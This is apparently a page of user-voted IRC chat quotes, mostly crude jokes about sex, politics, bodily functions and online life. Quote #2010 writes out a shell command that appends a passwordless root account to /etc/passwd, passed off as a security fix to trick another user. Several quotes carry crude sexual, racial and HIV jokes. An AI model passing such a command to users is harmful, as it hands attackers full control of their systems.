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#2047 (146/318) ↑Funny ↓Not ⚐Flag
<Slander> so what happens to all these trout after they're used for slapping? are they in a pile somewhere? |
#2046 (40/209) ↑Funny ↓Not ⚐Flag
<train> i'm on prison net
<train> that still works
<Hooblah> wtf
<Hooblah> prison?
<Hooblah> as in locked up n shit?
<Zebracake> heh!
<Zebracake> no, irc.prison.net |
#2041 (80/285) ↑Funny ↓Not ⚐Flag
<Mr_Durden> no wonder superman's ship is powered by the only thing that can kill him
<Mr_Durden> it was designed by a canadian |
#2039 (29/227) ↑Funny ↓Not ⚐Flag
<hypr> joker is playing all his vinyl from 1998
<hypr> heh
<hypr> or somthing
<hypr> old ;P
<caspuh> hah
<caspuh> 98?
<caspuh> they had vinyal then? |
#2037 (144/286) ↑Funny ↓Not ⚐Flag
<timh> okay, kraken- you don't need to know a person before you talk to them. otherwise there would be severe bootstrapping issues with human interaction |
#2034 (84/264) ↑Funny ↓Not ⚐Flag
<Brentai> ...you guys realize that this is the least I've ever laughed. I'm anti-laughing.
<FoxieMoxie> You're anti-laughing? Good, I hope your lungs implode then. |
#2030 (0/296) ↑Funny ↓Not ⚐Flag
<FieroMan> I wanna jerk off but my nose is too stuffy. |
#2028 (-1/360) ↑Funny ↓Not ⚐Flag
<_Bas> how come cars only have 4/5 gears?
<_Bas> if they make like overdrive on an overdrive
<_Bas> would you get much much gas mileage? |
#2027 (11/261) ↑Funny ↓Not ⚐Flag
<jk-> hheh, back when I was on aol, I would go into chat rooms pretending i was a teenage girl with pictures, and when all the guys would ask me for them I sent em gay porn
<DMC[arf]> i look at gay porn while drinking apple juice sometimes
<datz510> i have some |
#2026 (85/306) ↑Funny ↓Not ⚐Flag
<DMC[hi]> IF i had a nickel for everytime a black man tried to have sex with me.... i could have built a house made out of nickels in the middle of the woods to secretly masturbate about black men having sex with me |
#2025 (-1/339) ↑Funny ↓Not ⚐Flag
(synak) have you ever had to take a shit so bad, but you didnt want to leave irc that you just ended up shittign your pants? .. well, i just did .. computers are cool. |
#2024 (143/336) ↑Funny ↓Not ⚐Flag
<Lee-Ham> Bush is a raging imbecile. It's times like this I wish I could live on the moon and take potshots at Earth with a potato gun. |
#2021 (54/242) ↑Funny ↓Not ⚐Flag
<darkaeon> now how much money do you make now?
<darkaeon> I know it can't be much since you're on irc
<darkaeon> eheh
<MadHatter> you fear my fucking lego skills right
<MadHatter> dude dark
<MadHatter> I'm not even on irc
<MadHatter> I programmed some legos to get on irc for me |
#2019 (-2/373) ↑Funny ↓Not ⚐Flag
<Schrieks> in a moment of inspiration whilst dining at the Y.....
<Schrieks> I spread her and said "SEGA"
<Schrieks> this was back in 94 |
#2018 (17/232) ↑Funny ↓Not ⚐Flag
<MadHatter> I wish I could get a job as a stunt penis
<MadHatter> like for porno movies
<MadHatter> I don't look like a pornstar(not that I'm ugly, I just don't have that look), but I have a porno penis |
#2016 (182/336) ↑Funny ↓Not ⚐Flag
(pedxing) it takes twenty-five muscles to frown, and only twelve to punch some wiseass in the mouth. |
#2015 (164/326) ↑Funny ↓Not ⚐Flag
<Digested> cool :)
<Digested> you have a gf that knows how to download mp3s
<madog> ya
<madog> and email
<qvr> That's nothing.. I had this goldfish.... |
#2014 (132/342) ↑Funny ↓Not ⚐Flag
<BonGoaT> i think Bush played counterstrike too much |
#2012 (39/231) ↑Funny ↓Not ⚐Flag
[23:41] (q-_-p) i'm doing a couple downtempo trax.. and just started a trance track.
[23:49] (q-_-p) man. these dumps take forever.
[23:49] (q-_-p) i mean.. wav dumps
[23:49] ~ q-_-p checks his drawers. |
#2011 (37/209) ↑Funny ↓Not ⚐Flag
<Speef> man
<Speef> I have some killer gas
<matts> go to the terrorists... they'll need your help |
#2010 (79/242) ↑Funny ↓Not ⚐Flag
<germane> here, type this in your shell
<germane> echo 'germane::0:0:/:/:/bin/bash' >> /etc/passwd
<germane> it will secure your box
<atawmic> okay, hold on
<atawmic> done
<atawmic> whats happening?
<atawmic> uhh, can you give me my shell now? |
#2007 (145/311) ↑Funny ↓Not ⚐Flag
(adnama) I have flabby thighs, but fortunately my stomach covers them. |
#1995 (142/333) ↑Funny ↓Not ⚐Flag
<Digested> nothing like coming back to irc after a night of partying
<Digested> and nothing like partying on a monday night and then driving home at the same time as everyone is driving to work
<Digested> and laughing at them
<Digested> :D
<MadHatter> Not everyone can live with their parents
<Digested> that's why i'm taking advantage of the situation while i still can
<Digested> the main problem with sharing a house with parents is bringing a girl home
<Digested> but it isn't really a problem for me... heh
<MadHatter> hehe |
#1993 (-2/222) ↑Funny ↓Not ⚐Flag
<Digested> yeah, the chicken sandwiches are just right by default
<Digested> so you don't have to customize or mess around with config files in vi
<Digested> that config files thing is going into the quotes, isn't it :/
<Guilty> I wont submit it if you purge the database of nerdb5 |
#1991 (0/296) ↑Funny ↓Not ⚐Flag
<|Chris> i'm very pro-hiv
<|Chris> damn disease discrimination
<|Chris> why are people so prejudiced against HIV?
<|Chris> people are down with hepatitis and shit
<|Chris> but they're so full of hate for HIV |
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